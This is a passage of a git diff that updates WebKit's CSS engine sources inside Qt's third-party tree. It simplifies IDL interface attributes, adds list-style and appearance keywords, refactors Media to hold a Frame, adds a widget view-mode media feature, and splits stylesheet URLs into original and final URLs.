@@ -22,8 +22,7 @@ module css {
 
     // Introduced in DOM Level 2:
     interface [
-        InterfaceUUID=35670098-b732-419c-b7cd-dc0d5e26d5e3,
-        ImplementationUUID=4b755f87-2509-4b98-a953-8ecb88fe4b21
+        OmitConstructor
     ] CSSUnknownRule : CSSRule {
     };
 
diff --git a/src/3rdparty/webkit/WebCore/css/CSSValue.idl b/src/3rdparty/webkit/WebCore/css/CSSValue.idl
index ee82b0c..fe6b8f2 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSValue.idl
+++ b/src/3rdparty/webkit/WebCore/css/CSSValue.idl
@@ -22,10 +22,7 @@ module css {
 
     interface [
         CustomToJS,
-        GenerateConstructor,
-        Polymorphic,
-        InterfaceUUID=9fd62a7b-539d-4500-bd6c-ec075abbc404,
-        ImplementationUUID=e10a2860-f98e-4bd3-96b4-1493ad941dfe
+        Polymorphic
     ] CSSValue {
 
         // UnitTypes
diff --git a/src/3rdparty/webkit/WebCore/css/CSSValueKeywords.in b/src/3rdparty/webkit/WebCore/css/CSSValueKeywords.in
index 1b7b1d8..09d969a 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSValueKeywords.in
+++ b/src/3rdparty/webkit/WebCore/css/CSSValueKeywords.in
@@ -225,6 +225,28 @@ circle
 square
 decimal
 decimal-leading-zero
+arabic-indic
+binary
+bengali
+cambodian
+khmer
+devanagari
+gujarati
+gurmukhi
+kannada
+lower-hexadecimal
+lao
+malayalam
+mongolian
+myanmar
+octal
+oriya
+persian
+urdu
+telugu
+tibetan
+thai
+upper-hexadecimal
 lower-roman
 upper-roman
 lower-greek
@@ -232,6 +254,40 @@ lower-alpha
 lower-latin
 upper-alpha
 upper-latin
+afar
+ethiopic-halehame-aa-et
+ethiopic-halehame-aa-er
+amharic
+ethiopic-halehame-am-et
+amharic-abegede
+ethiopic-abegede-am-et
+cjk-earthly-branch
+cjk-heavenly-stem
+ethiopic
+ethiopic-halehame-gez
+ethiopic-abegede
+ethiopic-abegede-gez
+hangul-consonant
+hangul
+lower-norwegian
+oromo
+ethiopic-halehame-om-et
+sidama
+ethiopic-halehame-sid-et
+somali
+ethiopic-halehame-so-et
+tigre
+ethiopic-halehame-tig
+tigrinya-er
+ethiopic-halehame-ti-er
+tigrinya-er-abegede
+ethiopic-abegede-ti-er
+tigrinya-et
+ethiopic-halehame-ti-et
+tigrinya-et-abegede
+ethiopic-abegede-ti-et
+upper-greek
+upper-norwegian
 hebrew
 armenian
 georgian
@@ -501,6 +557,7 @@ square-button
 button
 button-bevel
 default-button
+inner-spin-button
 list-button
 listbox
 listitem
@@ -511,6 +568,7 @@ media-seek-back-button
 media-seek-forward-button
 media-rewind-button
 media-return-to-realtime-button
+media-toggle-closed-captions-button
 media-slider
 media-sliderthumb
 media-volume-slider-container
@@ -523,6 +581,8 @@ menulist
 menulist-button
 menulist-text
 menulist-textfield
+outer-spin-button
+progress-bar
 slider-horizontal
 slider-vertical
 sliderthumb-horizontal
@@ -580,6 +640,13 @@ lines
 # alternate
 
 #
+# CSS_PROP__WEBKIT_ANIMATION_FILL_MODE
+#
+# forwards
+# backwards
+# both
+
+#
 # CSS_PROP__WEBKIT_ANIMATION_ITERATION_COUNT
 #
 # infinite
@@ -638,3 +705,13 @@ subpixel-antialiased
 optimizeSpeed
 optimizeLegibility
 geometricPrecision
+
+# -webkit-color-correction
+#default
+sRGB
+
+# (-webkit-view-mode:) media feature:
+mini
+floating
+application
+fullscreen
diff --git a/src/3rdparty/webkit/WebCore/css/CSSValueList.cpp b/src/3rdparty/webkit/WebCore/css/CSSValueList.cpp
index 9633f7c..8f1f88d 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSValueList.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSValueList.cpp
@@ -1,6 +1,4 @@
 /**
- * This file is part of the DOM implementation for KDE.
- *
  * (C) 1999-2003 Lars Knoll (knoll@kde.org)
  * Copyright (C) 2004, 2005, 2006, 2007 Apple Inc. All rights reserved.
  *
diff --git a/src/3rdparty/webkit/WebCore/css/CSSValueList.idl b/src/3rdparty/webkit/WebCore/css/CSSValueList.idl
index 8ddfaae..06df5d7 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSValueList.idl
+++ b/src/3rdparty/webkit/WebCore/css/CSSValueList.idl
@@ -27,10 +27,7 @@ module css {
 
     // Introduced in DOM Level 2:
     interface [
-        GenerateConstructor,
-        HasIndexGetter,
-        InterfaceUUID=2fb74620-9029-400c-bc4b-4ce8e25b081f,
-        ImplementationUUID=1d8fc822-f89a-48d5-a2ac-827e5a24357e
+        HasIndexGetter
     ] CSSValueList : CSSValue {
         readonly attribute unsigned long    length;
         CSSValue           item(in unsigned long index);
diff --git a/src/3rdparty/webkit/WebCore/css/CSSVariablesDeclaration.idl b/src/3rdparty/webkit/WebCore/css/CSSVariablesDeclaration.idl
index 82d2e9c..672bfe2 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSVariablesDeclaration.idl
+++ b/src/3rdparty/webkit/WebCore/css/CSSVariablesDeclaration.idl
@@ -26,7 +26,6 @@
 module css {
 
     interface [
-        GenerateConstructor,
         HasIndexGetter
     ] CSSVariablesDeclaration {
         attribute DOMString         cssText;
diff --git a/src/3rdparty/webkit/WebCore/css/CSSVariablesRule.idl b/src/3rdparty/webkit/WebCore/css/CSSVariablesRule.idl
index ec49282..780e84d 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSVariablesRule.idl
+++ b/src/3rdparty/webkit/WebCore/css/CSSVariablesRule.idl
@@ -25,9 +25,7 @@
 
 module css {
 
-    interface [
-        GenerateConstructor
-    ] CSSVariablesRule : CSSRule {
+    interface CSSVariablesRule : CSSRule {
         readonly attribute stylesheets::MediaList  media;
         readonly attribute CSSVariablesDeclaration variables;
     };
diff --git a/src/3rdparty/webkit/WebCore/css/Counter.idl b/src/3rdparty/webkit/WebCore/css/Counter.idl
index 5be8f0d..6236c45 100644
--- a/src/3rdparty/webkit/WebCore/css/Counter.idl
+++ b/src/3rdparty/webkit/WebCore/css/Counter.idl
@@ -20,11 +20,7 @@
 module css {
 
     // Introduced in DOM Level 2:
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=365d0f26-3a6e-457c-a34c-174d98f79798,
-        ImplementationUUID=8bfdc968-9a1b-4e4f-8d36-732d49b48eaa
-    ] Counter {
+    interface Counter {
         readonly attribute DOMString identifier;
         readonly attribute DOMString listStyle;
         readonly attribute DOMString separator;
diff --git a/src/3rdparty/webkit/WebCore/css/FontValue.cpp b/src/3rdparty/webkit/WebCore/css/FontValue.cpp
index 231ac64..991fc6e 100644
--- a/src/3rdparty/webkit/WebCore/css/FontValue.cpp
+++ b/src/3rdparty/webkit/WebCore/css/FontValue.cpp
@@ -1,6 +1,4 @@
 /**
- * This file is part of the DOM implementation for KDE.
- *
  * (C) 1999-2003 Lars Knoll (knoll@kde.org)
  * Copyright (C) 2004, 2005, 2006 Apple Computer, Inc.
  *
diff --git a/src/3rdparty/webkit/WebCore/css/Media.cpp b/src/3rdparty/webkit/WebCore/css/Media.cpp
index 57c4aac..e238602 100644
--- a/src/3rdparty/webkit/WebCore/css/Media.cpp
+++ b/src/3rdparty/webkit/WebCore/css/Media.cpp
@@ -34,15 +34,14 @@
 
 namespace WebCore {
 
-Media::Media(DOMWindow* window)
-    : m_window(window)
+Media::Media(Frame* frame)
+    : m_frame(frame)
 {
 }
 
 String Media::type() const
 {
-    Frame* frame = m_window->frame();
-    FrameView* view = frame ? frame->view() : 0;
+    FrameView* view = m_frame ? m_frame->view() : 0;
     if (view)
         return view->mediaType();
 
@@ -51,15 +50,19 @@ String Media::type() const
 
 bool Media::matchMedium(const String& query) const
 {
-    Document* document = m_window->document();
-    Frame* frame = m_window->frame();
+    if (!m_frame)
+        return false;
+
+    Document* document = m_frame->document();
+    ASSERT(document);
+    Element* documentElement = document->documentElement();
+    ASSERT(documentElement);
 
     CSSStyleSelector* styleSelector = document->styleSelector();
-    Element* docElement = document->documentElement();
-    if (!styleSelector || !docElement || !frame)
+    if (!styleSelector)
         return false;
 
-    RefPtr<RenderStyle> rootStyle = styleSelector->styleForElement(docElement, 0 /*defaultParent*/, false /*allowSharing*/, true /*resolveForRootDefault*/);
+    RefPtr<RenderStyle> rootStyle = styleSelector->styleForElement(documentElement, 0 /*defaultParent*/, false /*allowSharing*/, true /*resolveForRootDefault*/);
     RefPtr<MediaList> media = MediaList::create();
 
     ExceptionCode ec = 0;
@@ -67,7 +70,7 @@ bool Media::matchMedium(const String& query) const
     if (ec)
         return false;
 
-    MediaQueryEvaluator screenEval(type(), frame, rootStyle.get());
+    MediaQueryEvaluator screenEval(type(), m_frame, rootStyle.get());
     return screenEval.eval(media.get());
 }
 
diff --git a/src/3rdparty/webkit/WebCore/css/Media.h b/src/3rdparty/webkit/WebCore/css/Media.h
index 0d7b504..ee6961b 100644
--- a/src/3rdparty/webkit/WebCore/css/Media.h
+++ b/src/3rdparty/webkit/WebCore/css/Media.h
@@ -32,21 +32,21 @@ namespace WebCore {
 
 class Media : public RefCounted<Media> {
 public:
-    static PassRefPtr<Media> create(DOMWindow* window)
+    static PassRefPtr<Media> create(Frame* frame)
     {
-        return adoptRef(new Media(window));
+        return adoptRef(new Media(frame));
     }
-    
-    Document* document() const { return m_window->document(); }
+
+    void disconnectFrame() { m_frame = 0; }
 
     String type() const;
 
     bool matchMedium(const String&) const;
     
 private:
-    Media(DOMWindow*);
+    Media(Frame*);
 
-    RefPtr<DOMWindow> m_window;
+    Frame* m_frame;
 };
 
 } // namespace
diff --git a/src/3rdparty/webkit/WebCore/css/Media.idl b/src/3rdparty/webkit/WebCore/css/Media.idl
index b01d712..1bf5900 100644
--- a/src/3rdparty/webkit/WebCore/css/Media.idl
+++ b/src/3rdparty/webkit/WebCore/css/Media.idl
@@ -24,9 +24,7 @@
  */
 
 module view {
-    interface [
-        GenerateConstructor,
-    ] Media {
+    interface Media {
         readonly attribute DOMString type;
         boolean matchMedium(in DOMString mediaquery);
     };
diff --git a/src/3rdparty/webkit/WebCore/css/MediaFeatureNames.cpp b/src/3rdparty/webkit/WebCore/css/MediaFeatureNames.cpp
index fcee5de..a7799c1 100644
--- a/src/3rdparty/webkit/WebCore/css/MediaFeatureNames.cpp
+++ b/src/3rdparty/webkit/WebCore/css/MediaFeatureNames.cpp
@@ -1,6 +1,4 @@
 /*
- * This file is part of the DOM implementation for KDE.
- *
  * Copyright (C) 2005 Apple Computer, Inc.
  *
  * This library is free software; you can redistribute it and/or
diff --git a/src/3rdparty/webkit/WebCore/css/MediaFeatureNames.h b/src/3rdparty/webkit/WebCore/css/MediaFeatureNames.h
index 5196586..8aaedb2 100644
--- a/src/3rdparty/webkit/WebCore/css/MediaFeatureNames.h
+++ b/src/3rdparty/webkit/WebCore/css/MediaFeatureNames.h
@@ -1,6 +1,4 @@
 /*
- * This file is part of the CSS implementation for KDE.
- *
  * Copyright (C) 2005 Apple Computer, Inc.
  *
  * This library is free software; you can redistribute it and/or
@@ -27,6 +25,13 @@
 namespace WebCore {
     namespace MediaFeatureNames {
 
+#if ENABLE(WIDGETS_10_SUPPORT)
+#define CSS_MEDIAQUERY_NAMES_FOR_WIDGETS_10_MEDIAFEATURE(macro) \
+    macro(view_mode, "-webkit-view-mode")
+#else
+#define CSS_MEDIAQUERY_NAMES_FOR_WIDGETS_10_MEDIAFEATURE(macro)
+#endif
+
 #define CSS_MEDIAQUERY_NAMES_FOR_EACH_MEDIAFEATURE(macro) \
     macro(color, "color") \
     macro(grid, "grid") \
@@ -61,6 +66,8 @@ namespace WebCore {
     macro(transform_3d, "-webkit-transform-3d") \
     macro(transition, "-webkit-transition") \
     macro(animation, "-webkit-animation") \
+    CSS_MEDIAQUERY_NAMES_FOR_WIDGETS_10_MEDIAFEATURE(macro)
+
 // end of macro
 
 #ifndef CSS_MEDIAQUERY_NAMES_HIDE_GLOBALS
diff --git a/src/3rdparty/webkit/WebCore/css/MediaList.idl b/src/3rdparty/webkit/WebCore/css/MediaList.idl
index dc10e63..54ad4f8 100644
--- a/src/3rdparty/webkit/WebCore/css/MediaList.idl
+++ b/src/3rdparty/webkit/WebCore/css/MediaList.idl
@@ -27,10 +27,7 @@ module stylesheets {
 
     // Introduced in DOM Level 2:
     interface [
-        GenerateConstructor,
-        HasIndexGetter,
-        InterfaceUUID=4ed02a0b-15b3-4a20-8f16-d91295aaf2cb,
-        ImplementationUUID=6c5095d8-fdcc-4f9a-b04a-23c2a6d2cf49
+        HasIndexGetter
     ] MediaList {
 
                  attribute [ConvertNullToNullString, ConvertNullStringTo=Null] DOMString mediaText
diff --git a/src/3rdparty/webkit/WebCore/css/MediaQuery.h b/src/3rdparty/webkit/WebCore/css/MediaQuery.h
index ff22d9a..7cbd3bf 100644
--- a/src/3rdparty/webkit/WebCore/css/MediaQuery.h
+++ b/src/3rdparty/webkit/WebCore/css/MediaQuery.h
@@ -34,7 +34,7 @@
 namespace WebCore {
 class MediaQueryExp;
 
-class MediaQuery {
+class MediaQuery : public Noncopyable {
 public:
     enum Restrictor {
         Only, Not, None
diff --git a/src/3rdparty/webkit/WebCore/css/MediaQueryEvaluator.cpp b/src/3rdparty/webkit/WebCore/css/MediaQueryEvaluator.cpp
index 4963ed4..4fda075 100644
--- a/src/3rdparty/webkit/WebCore/css/MediaQueryEvaluator.cpp
+++ b/src/3rdparty/webkit/WebCore/css/MediaQueryEvaluator.cpp
@@ -29,6 +29,7 @@
 #include "MediaQueryEvaluator.h"
 
 #include "Chrome.h"
+#include "ChromeClient.h"
 #include "CSSPrimitiveValue.h"
 #include "CSSStyleSelector.h"
 #include "CSSValueList.h"
@@ -47,7 +48,7 @@
 #include "PlatformScreen.h"
 #include <wtf/HashMap.h>
 
-#if ENABLE(3D_RENDERING)
+#if ENABLE(3D_RENDERING) && USE(ACCELERATED_COMPOSITING)
 #include "RenderLayerCompositor.h"
 #endif
 
@@ -474,8 +475,10 @@ static bool transform_3dMediaFeatureEval(CSSValue* value, RenderStyle*, Frame* f
 
 #if ENABLE(3D_RENDERING)
     bool threeDEnabled = false;
+#if USE(ACCELERATED_COMPOSITING)
     if (RenderView* view = frame->contentRenderer())
         threeDEnabled = view->compositor()->hasAcceleratedCompositing();
+#endif
 
     returnValueIfNoParameter = threeDEnabled;
     have3dRendering = threeDEnabled ? 1 : 0;
@@ -492,6 +495,27 @@ static bool transform_3dMediaFeatureEval(CSSValue* value, RenderStyle*, Frame* f
     return returnValueIfNoParameter;
 }
 
+#if ENABLE(WIDGETS_10_SUPPORT)
+static bool view_modeMediaFeatureEval(CSSValue* value, RenderStyle*, Frame* frame, MediaFeaturePrefix op)
+{
+    if (value) {
+        String mode = static_cast<CSSPrimitiveValue*>(value)->getStringValue();
+        if (ChromeClient* client = frame->page()->chrome()->client()) {
+            if (mode == "mini" && client->isDocked())
+                return true;
+            if (mode == "floating" && client->isFloating())
+                return true;
+            if (mode == "application" && client->isApplication())
+                return true;
+            if (mode == "fullscreen" && client->isFullscreen())
+                return true;
+            return false;
+        }
+    }
+    return true;
+}
+#endif
+
 static void createFunctionMap()
 {
     // Create the table.
diff --git a/src/3rdparty/webkit/WebCore/css/MediaQueryEvaluator.h b/src/3rdparty/webkit/WebCore/css/MediaQueryEvaluator.h
index 404504b..00ac394 100644
--- a/src/3rdparty/webkit/WebCore/css/MediaQueryEvaluator.h
+++ b/src/3rdparty/webkit/WebCore/css/MediaQueryEvaluator.h
@@ -49,7 +49,7 @@ class MediaQueryExp;
  * the device characteristics are not known. This can be used to prune the loading
  * of stylesheets to only those which are probable to match.
  */
-class MediaQueryEvaluator {
+class MediaQueryEvaluator : public Noncopyable {
 public:
     /** Creates evaluator which evaluates only simple media queries
      *  Evaluator returns true for "all", and returns value of \mediaFeatureResult
diff --git a/src/3rdparty/webkit/WebCore/css/MediaQueryExp.h b/src/3rdparty/webkit/WebCore/css/MediaQueryExp.h
index 5ff4af3..fd55cf6 100644
--- a/src/3rdparty/webkit/WebCore/css/MediaQueryExp.h
+++ b/src/3rdparty/webkit/WebCore/css/MediaQueryExp.h
@@ -36,7 +36,7 @@
 namespace WebCore {
 class CSSParserValueList;
 
-class MediaQueryExp {
+class MediaQueryExp : public FastAllocBase {
 public:
     MediaQueryExp(const AtomicString& mediaFeature, CSSParserValueList* values);
     ~MediaQueryExp();
diff --git a/src/3rdparty/webkit/WebCore/css/Pair.h b/src/3rdparty/webkit/WebCore/css/Pair.h
index a2b127e..c76bd82 100644
--- a/src/3rdparty/webkit/WebCore/css/Pair.h
+++ b/src/3rdparty/webkit/WebCore/css/Pair.h
@@ -1,6 +1,4 @@
 /*
- * This file is part of the DOM implementation for KDE.
- *
  * (C) 1999-2003 Lars Knoll (knoll@kde.org)
  * Copyright (C) 2004, 2005, 2006 Apple Computer, Inc.
  *
diff --git a/src/3rdparty/webkit/WebCore/css/RGBColor.idl b/src/3rdparty/webkit/WebCore/css/RGBColor.idl
index d29f811..1dc87bc 100644
--- a/src/3rdparty/webkit/WebCore/css/RGBColor.idl
+++ b/src/3rdparty/webkit/WebCore/css/RGBColor.idl
@@ -21,11 +21,7 @@
 module css {
 
     // Introduced in DOM Level 2:
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=2e3b1501-2cf7-4a4a-bbf7-d8843d1c3be7,
-        ImplementationUUID=cf779953-4898-4800-aa31-6c9e3f4711be
-    ] RGBColor {
+    interface RGBColor {
         readonly attribute CSSPrimitiveValue  red;
         readonly attribute CSSPrimitiveValue  green;
         readonly attribute CSSPrimitiveValue  blue;
diff --git a/src/3rdparty/webkit/WebCore/css/Rect.idl b/src/3rdparty/webkit/WebCore/css/Rect.idl
index 3c31dc6..60eb70e 100644
--- a/src/3rdparty/webkit/WebCore/css/Rect.idl
+++ b/src/3rdparty/webkit/WebCore/css/Rect.idl
@@ -19,11 +19,7 @@
 
 module css {
 
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=696bc4d9-c1d3-4225-a5b3-2cef28967705,
-        ImplementationUUID=ae83743f-4dc4-4785-869b-8c3010c7d006
-    ] Rect {
+    interface Rect {
         readonly attribute CSSPrimitiveValue  top;
         readonly attribute CSSPrimitiveValue  right;
         readonly attribute CSSPrimitiveValue  bottom;
diff --git a/src/3rdparty/webkit/WebCore/css/SVGCSSComputedStyleDeclaration.cpp b/src/3rdparty/webkit/WebCore/css/SVGCSSComputedStyleDeclaration.cpp
index 1f19983..f184b1b 100644
--- a/src/3rdparty/webkit/WebCore/css/SVGCSSComputedStyleDeclaration.cpp
+++ b/src/3rdparty/webkit/WebCore/css/SVGCSSComputedStyleDeclaration.cpp
@@ -166,7 +166,7 @@ PassRefPtr<CSSValue> CSSComputedStyleDeclaration::getSVGPropertyCSSValue(int pro
 
             return 0;
         }
-        case CSSPropertyWebkitShadow:
+        case CSSPropertyWebkitSvgShadow:
             return valueForShadow(svgStyle->shadow(), propertyID);
         case CSSPropertyMarker:
         case CSSPropertyEnableBackground:
diff --git a/src/3rdparty/webkit/WebCore/css/SVGCSSParser.cpp b/src/3rdparty/webkit/WebCore/css/SVGCSSParser.cpp
index 8730e49..0986f1c 100644
--- a/src/3rdparty/webkit/WebCore/css/SVGCSSParser.cpp
+++ b/src/3rdparty/webkit/WebCore/css/SVGCSSParser.cpp
@@ -257,7 +257,7 @@ bool CSSParser::parseSVGValue(int propId, bool important)
                 m_valueList->next();
         }
         break;
-    case CSSPropertyWebkitShadow:
+    case CSSPropertyWebkitSvgShadow:
         if (id == CSSValueNone)
             valid_primitive = true;
         else
diff --git a/src/3rdparty/webkit/WebCore/css/SVGCSSPropertyNames.in b/src/3rdparty/webkit/WebCore/css/SVGCSSPropertyNames.in
index 809eabe..9f97146 100644
--- a/src/3rdparty/webkit/WebCore/css/SVGCSSPropertyNames.in
+++ b/src/3rdparty/webkit/WebCore/css/SVGCSSPropertyNames.in
@@ -47,4 +47,4 @@ kerning
 text-anchor
 writing-mode
 
--webkit-shadow
+-webkit-svg-shadow
diff --git a/src/3rdparty/webkit/WebCore/css/SVGCSSStyleSelector.cpp b/src/3rdparty/webkit/WebCore/css/SVGCSSStyleSelector.cpp
index 7e4483f..5651a0a 100644
--- a/src/3rdparty/webkit/WebCore/css/SVGCSSStyleSelector.cpp
+++ b/src/3rdparty/webkit/WebCore/css/SVGCSSStyleSelector.cpp
@@ -10,8 +10,6 @@
              (C) 2004 Allan Sandfeld Jensen(kde@carewolf.com)
              (C) 2004 Germain Garand(germain@ebooksfrance.org)
 
-    This file is part of the KDE project
-
     This library is free software; you can redistribute it and/or
     modify it under the terms of the GNU Library General Public
     License as published by the Free Software Foundation; either
@@ -527,7 +525,7 @@ void CSSStyleSelector::applySVGProperty(int id, CSSValue* value)
             // Silently ignoring this property for now
             // http://bugs.webkit.org/show_bug.cgi?id=6022
             break;
-        case CSSPropertyWebkitShadow: {
+        case CSSPropertyWebkitSvgShadow: {
             if (isInherit)
                 return svgstyle->setShadow(m_parentStyle->svgStyle()->shadow() ? new ShadowData(*m_parentStyle->svgStyle()->shadow()) : 0);
             if (isInitial || primitiveValue) // initial | none
@@ -536,19 +534,17 @@ void CSSStyleSelector::applySVGProperty(int id, CSSValue* value)
             if (!value->isValueList())
                 return;
 
-            float zoomFactor = m_style->effectiveZoom();
-
             CSSValueList *list = static_cast<CSSValueList*>(value);
             ASSERT(list->length() == 1);
             ShadowValue* item = static_cast<ShadowValue*>(list->itemWithoutBoundsCheck(0));
-            int x = item->x->computeLengthInt(style(), m_rootElementStyle, zoomFactor);
-            int y = item->y->computeLengthInt(style(), m_rootElementStyle, zoomFactor);
-            int blur = item->blur ? item->blur->computeLengthInt(style(), m_rootElementStyle, zoomFactor) : 0;
+            int x = item->x->computeLengthInt(style(), m_rootElementStyle);
+            int y = item->y->computeLengthInt(style(), m_rootElementStyle);
+            int blur = item->blur ? item->blur->computeLengthInt(style(), m_rootElementStyle) : 0;
             Color color;
             if (item->color)
                 color = getColorFromPrimitiveValue(item->color.get());
 
-            // -webkit-shadow does should not have a spread or style
+            // -webkit-svg-shadow does should not have a spread or style
             ASSERT(!item->spread);
             ASSERT(!item->style);
                 
@@ -566,5 +562,4 @@ void CSSStyleSelector::applySVGProperty(int id, CSSValue* value)
 
 }
 
-// vim:ts=4:noet
-#endif // ENABLE(SVG)
+#endif
diff --git a/src/3rdparty/webkit/WebCore/css/SVGCSSValueKeywords.in b/src/3rdparty/webkit/WebCore/css/SVGCSSValueKeywords.in
index 152a68f..91fb57e 100644
--- a/src/3rdparty/webkit/WebCore/css/SVGCSSValueKeywords.in
+++ b/src/3rdparty/webkit/WebCore/css/SVGCSSValueKeywords.in
@@ -183,7 +183,7 @@ new
 # CSS_PROP_STOP_OPACITY
 # CSS_PROP_COLOR_INTERPOLATION
 #auto
-sRGB
+#sRGB
 linearRGB
 
 # CSS_PROP_COLOR_INTERPOLATION_FILTERS
diff --git a/src/3rdparty/webkit/WebCore/css/ShadowValue.cpp b/src/3rdparty/webkit/WebCore/css/ShadowValue.cpp
index 27be86c..060a322 100644
--- a/src/3rdparty/webkit/WebCore/css/ShadowValue.cpp
+++ b/src/3rdparty/webkit/WebCore/css/ShadowValue.cpp
@@ -1,6 +1,4 @@
 /**
- * This file is part of the DOM implementation for KDE.
- *
  * (C) 1999-2003 Lars Knoll (knoll@kde.org)
  * Copyright (C) 2004, 2005, 2006, 2009 Apple Computer, Inc.
  *
diff --git a/src/3rdparty/webkit/WebCore/css/StyleBase.cpp b/src/3rdparty/webkit/WebCore/css/StyleBase.cpp
index 8bfec5e..93dbda0 100644
--- a/src/3rdparty/webkit/WebCore/css/StyleBase.cpp
+++ b/src/3rdparty/webkit/WebCore/css/StyleBase.cpp
@@ -56,9 +56,9 @@ KURL StyleBase::baseURL() const
     StyleSheet* sheet = const_cast<StyleBase*>(this)->stylesheet();
     if (!sheet)
         return KURL();
-    if (!sheet->href().isNull())
-        return KURL(ParsedURLString, sheet->href());
-    if (sheet->parent()) 
+    if (!sheet->finalURL().isNull())
+        return sheet->finalURL();
+    if (sheet->parent())
         return sheet->parent()->baseURL();
     if (!sheet->ownerNode()) 
         return KURL();
diff --git a/src/3rdparty/webkit/WebCore/css/StyleSheet.cpp b/src/3rdparty/webkit/WebCore/css/StyleSheet.cpp
index 16e6278..4f20a20 100644
--- a/src/3rdparty/webkit/WebCore/css/StyleSheet.cpp
+++ b/src/3rdparty/webkit/WebCore/css/StyleSheet.cpp
@@ -1,6 +1,4 @@
 /**
- * This file is part of the DOM implementation for KDE.
- *
  * (C) 1999-2003 Lars Knoll (knoll@kde.org)
  * Copyright (C) 2004, 2006 Apple Computer, Inc.
  *
@@ -26,27 +24,29 @@
 
 namespace WebCore {
 
-StyleSheet::StyleSheet(StyleSheet* parentSheet, const String& href)
+StyleSheet::StyleSheet(StyleSheet* parentSheet, const String& originalURL, const KURL& finalURL)
     : StyleList(parentSheet)
     , m_parentNode(0)
-    , m_strHref(href)
+    , m_originalURL(originalURL)
+    , m_finalURL(finalURL)
     , m_disabled(false)
 {
 }
 
-
-StyleSheet::StyleSheet(Node* parentNode, const String& href)
+StyleSheet::StyleSheet(Node* parentNode, const String& originalURL, const KURL& finalURL)
     : StyleList(0)
     , m_parentNode(parentNode)
-    , m_strHref(href)
+    , m_originalURL(originalURL)
+    , m_finalURL(finalURL)
     , m_disabled(false)
 {
 }
 
-StyleSheet::StyleSheet(StyleBase* owner, const String& href)
+StyleSheet::StyleSheet(StyleBase* owner, const String& originalURL, const KURL& finalURL)
     : StyleList(owner)
     , m_parentNode(0)
-    , m_strHref(href)
+    , m_originalURL(originalURL)
+    , m_finalURL(finalURL)
     , m_disabled(false)
 {
 }
diff --git a/src/3rdparty/webkit/WebCore/css/StyleSheet.h b/src/3rdparty/webkit/WebCore/css/StyleSheet.h
index 016d50a..621733d 100644
--- a/src/3rdparty/webkit/WebCore/css/StyleSheet.h
+++ b/src/3rdparty/webkit/WebCore/css/StyleSheet.h
@@ -41,8 +41,15 @@ public:
 
     Node* ownerNode() const { return m_parentNode; }
     StyleSheet *parentStyleSheet() const;
-    const String& href() const { return m_strHref; }
-    void setHref(const String& href) { m_strHref = href; }
+
+    // Note that href is the URL that started the redirect chain that led to
+    // this style sheet. This property probably isn't useful for much except
+    // the JavaScript binding (which needs to use this value for security).
+    const String& href() const { return m_originalURL; }
+
+    void setFinalURL(const KURL& finalURL) { m_finalURL = finalURL; }
+    const KURL& finalURL() const { return m_finalURL; }
+
     const String& title() const { return m_strTitle; }
     void setTitle(const String& s) { m_strTitle = s; }
     MediaList* media() const { return m_media.get(); }
@@ -58,15 +65,16 @@ public:
     virtual bool parseString(const String&, bool strict = true) = 0;
 
 protected:
-    StyleSheet(Node* ownerNode, const String& href);
-    StyleSheet(StyleSheet* parentSheet, const String& href);
-    StyleSheet(StyleBase* owner, const String& href);
+    StyleSheet(Node* ownerNode, const String& href, const KURL& finalURL);
+    StyleSheet(StyleSheet* parentSheet, const String& href, const KURL& finalURL);
+    StyleSheet(StyleBase* owner, const String& href, const KURL& finalURL);
 
 private:
     virtual bool isStyleSheet() const { return true; }
 
     Node* m_parentNode;
-    String m_strHref;
+    String m_originalURL;
+    KURL m_finalURL;
     String m_strTitle;
     RefPtr<MediaList> m_media;
     bool m_disabled;
diff --git a/src/3rdparty/webkit/WebCore/css/StyleSheet.idl b/src/3rdparty/webkit/WebCore/css/StyleSheet.idl
index e4f4090..4f53689 100644
--- a/src/3rdparty/webkit/WebCore/css/StyleSheet.idl
+++ b/src/3rdparty/webkit/WebCore/css/StyleSheet.idl
@@ -24,10 +24,7 @@ module stylesheets {
     interface [
         CustomMarkFunction,
         CustomToJS,
-        GenerateConstructor,
-        Polymorphic,
-        InterfaceUUID=2bd2db5f-aaab-4422-96a0-e05455313f35,
-        ImplementationUUID=a8ca694d-71f2-4479-8c76-ee9c1c729b49
+        Polymorphic
     ] StyleSheet {
         readonly attribute [ConvertNullStringTo=Null] DOMString        type;
                  attribute boolean          disabled;
diff --git a/src/3rdparty/webkit/WebCore/css/StyleSheetList.cpp b/src/3rdparty/webkit/WebCore/css/StyleSheetList.cpp
index b9df810..2c90258 100644
--- a/src/3rdparty/webkit/WebCore/css/StyleSheetList.cpp
+++ b/src/3rdparty/webkit/WebCore/css/StyleSheetList.cpp
@@ -1,6 +1,4 @@
 /**
- * This file is part of the DOM implementation for KDE.
- *
  * (C) 1999-2003 Lars Knoll (knoll@kde.org)
  * Copyright (C) 2004, 2006, 2007 Apple Inc. All rights reserved.
  *
diff --git a/src/3rdparty/webkit/WebCore/css/StyleSheetList.idl b/src/3rdparty/webkit/WebCore/css/StyleSheetList.idl
index 574d749..6cef99d 100644
--- a/src/3rdparty/webkit/WebCore/css/StyleSheetList.idl
+++ b/src/3rdparty/webkit/WebCore/css/StyleSheetList.idl
@@ -23,11 +23,8 @@ module stylesheets {
     // Introduced in DOM Level 2:
     interface [
         CustomMarkFunction,
-        GenerateConstructor,
         HasIndexGetter,
-        HasNameGetter,
-        InterfaceUUID=707da1d7-7c8f-42b1-bbbf-c009e429663f,
-        ImplementationUUID=5991ebaf-ce6c-42db-b1c8-fb34af8d5c76
+        HasNameGetter
     ] StyleSheetList {
         readonly attribute unsigned long    length;
         StyleSheet         item(in unsigned long index);
diff --git a/src/3rdparty/webkit/WebCore/css/WebKitCSSKeyframeRule.idl b/src/3rdparty/webkit/WebCore/css/WebKitCSSKeyframeRule.idl
index a8dd9c3..f6eac77 100644
--- a/src/3rdparty/webkit/WebCore/css/WebKitCSSKeyframeRule.idl
+++ b/src/3rdparty/webkit/WebCore/css/WebKitCSSKeyframeRule.idl
@@ -29,11 +29,7 @@
 module css {
 
     // Introduced in DOM Level ?:
-    interface [
-        GenerateConstructor,
